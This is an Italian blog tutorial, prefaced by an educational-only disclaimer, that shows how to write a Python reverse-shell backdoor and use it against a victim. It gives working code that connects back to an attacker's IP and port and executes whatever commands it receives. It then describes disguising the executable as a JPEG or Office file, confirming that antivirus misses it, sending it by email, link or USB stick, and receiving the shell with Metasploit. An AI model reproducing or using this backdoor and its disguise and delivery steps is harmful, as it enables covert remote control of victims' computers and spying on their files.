Attenzione: questo post è puramente
a scopo didattico/informativo e non vuole in alcun modo incoraggiare attività
illecite. Prova le seguenti tecniche solo nella tua rete locale o se sei stato
autorizzato. Ricorda che l’accesso abusivo a un sistema informatico è un reato
punibile in quasi tutti gli Stati del mondo.
Negli ultimi anni, il termine
backdoor è entrato nell’uso comune per indicare un software malevolo (o
malware) che consente di prendere il controllo di un sistema remoto. Questa
tecnica viene ampiamente utilizzata per violare le reti aziendali, ma anche per
infiltrarsi nei dispositivi degli utenti bypassando le normali misure antintrusione
(firewall, antivirus, ids ecc).
Al giorno d’oggi, esistono
numerosi framework in grado di automatizzare la creazione di backdoor
all’interno di file apparentemente innocui come documenti Word o PDF. Tuttavia,
i più comuni antivirus in commercio rileveranno la minaccia e renderanno vani i
nostri tentativi, per cui la soluzione migliore è imparare a creare da soli la
propria backdoor.
In questo post, dimostrerò com’è
possibile ottenere una reverse shell, ossia il prompt dei comandi di un pc
remoto, senza che la vittima si accorga di essere spiata. Per l’occasione ho
scritto una “mini” backdoor in Python che userò per simulare un attacco nella
mia rete locale. Ecco il codice:
import os
import socket
import subprocess
HOST = '192.168.1.102'
PORT = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send('Connessione stabilita (premi INVIO per continuare)')
try:
while 1:
data = s.recv(1024)
if data.startswith('cd') == True:
try:
os.chdir(data[3:].replace('\n',''))
s.send ('Directory corrente: '+str(os.getcwd()))
except:
s.send('Impossibile trovare il percorso specificato')
continue;
else:
run_cmd = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = run_cmd.stdout.read()
output += run_cmd.stderr.read()
s.send(str(output)+'[shell]:')
except:
s.close()
Com'è strutturato
Quando creiamo uno script con
Python, la prima cosa da fare è importare i moduli che ci serviranno per gestire
i vari eventi. Nel caso specifico, avremo bisogno di tre moduli:
- os: ci permette di eseguire alcuni comandi specifici del Sistema Operativo su cui si trova la vittima;
- socket: apre un flusso di comunicazione bidirezionale tra host/programmi diversi. Lo useremo per inviare e ricevere dati;
- subprocess: lancia nuovi processi di sistema fornendo all'attaccante la possibilità di interagire con una shell di tipo bash, cmd.exe ecc.
Dopo aver stabilito come
l’interprete dovrà organizzare il codice, creiamo due variabili: una per
l’indirizzo ip e l’altra per la porta su cui vogliamo ricevere la connessione. Trattandosi
di un attacco reverse shell, non saremo noi a connetterci alla vittima, bensì
sarà la vittima a connettersi a noi mettendoci a disposizione il prompt.
Attraverso la funzione connect(), la nostra
backdoor si collegherà a noi, e per essere certi che la connessione sia andata
a buon fine, le faremo inviare una stringa. A questo punto, ho inserito il codice
in un blocco try al fine di sollevare un’eccezione se il socket non viene
chiuso correttamente, poiché in tal caso genererebbe un errore sullo schermo
della vittima.
Per continuare a ricevere comandi
dal server e mandarli in esecuzione, abbiamo bisogno di un loop infinito,
all’interno del quale il blocco if consente di cambiare directory avvisandoci
se il percorso non esiste o non è corretto. L’ultima porzione di codice si
occupa di eseguire il comando richiesto e di inviarlo in output al rispettivo
handler sotto forma di stringa.
Dimostrazione pratica
Ora che abbiamo visto come
lavorerà il nostro script, non ci resta che convertirlo in un file .exe da inviare
alla vittima. Per rendere il tutto più credibile, possiamo camuffarlo da jpeg o
da semplice Documento Office. È qui che entra in gioco PyInstaller di cui ho
parlato in precedenza. Come prima cosa, copiamo la backdoor (ed eventualmente
l’icona che vogliamo assegnarle), in C:\Python27\Scripts, dopodiché lanciamo da
terminale il comando (ricordatevi di inserire i nomi dei vostri file):
Il risultato, visibile nella cartella dist, sarà un eseguibile stand-alone in
tutto e per tutto simile ad un jpeg:
Proverò adesso a scansionarlo per vedere se l'antivirus me lo rileva come minaccia:
Ottimo, il file è “pulito”,
possiamo inviarlo al bersaglio via mail, tramite link o installarlo fisicamente
con una pendrive, prima però dobbiamo impostare un listener su cui ricevere la
connessione. Userò il modulo multi/handler di Metasploit, noto framework di
exploitation che trovate preinstallato su tutte le distro Linux dedicate al
pentesting:
Anche in questo caso, non
dimenticate di inserire il vostro local host. Una volta che la vittima avrà
aperto il file, potremo curiosare tra le sue cartelle…
…o magari lasciarle un ricordino per
farle capire che siamo passati. :-D
